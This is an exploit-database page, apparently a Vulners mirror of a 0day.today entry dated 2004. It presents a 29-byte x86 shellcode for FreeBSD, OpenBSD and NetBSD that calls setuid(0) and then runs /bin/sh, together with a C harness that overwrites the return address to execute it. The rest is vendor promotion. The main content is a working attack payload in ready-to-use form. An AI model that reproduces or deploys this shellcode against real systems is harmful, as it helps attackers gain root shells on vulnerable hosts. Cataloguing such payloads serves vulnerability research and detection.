Lucene search
K

bsd/x86 execve /bin/sh setuid (0) 29 bytes

🗓️ 26 Sep 2004 00:00:00Reported by Matias SedaloType 
zdt
 zdt
🔗 0day.today👁 23 Views

Shellcode for BSD systems executing /bin/sh with setuid, totaling 29 bytes.

Code
==========================================
bsd/x86 execve /bin/sh setuid (0) 29 bytes
==========================================




/*
   *BSD version
   FreeBSD, OpenBSD, NetBSD.

   [email protected]

   29 bytes.

   -setuid(0);
   -execve(/bin/sh);
*/

char shellcode[]=

   "\x31\xc0"                      // xor          %eax,%eax
   "\x50"                          // push         %eax
   "\xb0\x17"                      // mov          $0x17,%al
   "\x50"                          // push         %eax
   "\xcd\x80"                      // int          $0x80
   "\x50"                          // push         %eax
   "\x68\x6e\x2f\x73\x68"          // push         $0x68732f6e
   "\x68\x2f\x2f\x62\x69"          // push         $0x69622f2f
   "\x89\xe3"                      // mov          %esp,%ebx
   "\x50"                          // push         %eax
   "\x54"                          // push         %esp
   "\x53"                          // push         %ebx
   "\x50"                          // push         %eax
   "\xb0\x3b"                      // mov          $0x3b,%al
   "\xcd\x80";                     // int          $0x80

main()
{
   int *ret;
   printf("Shellcode lenght=%d\n",sizeof(shellcode));
   ret=(int*)&ret+2;
   (*ret)=(int)shellcode;
}



#  0day.today [2018-03-02]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Sep 2004 00:00Current
7High risk
Vulners AI Score7
23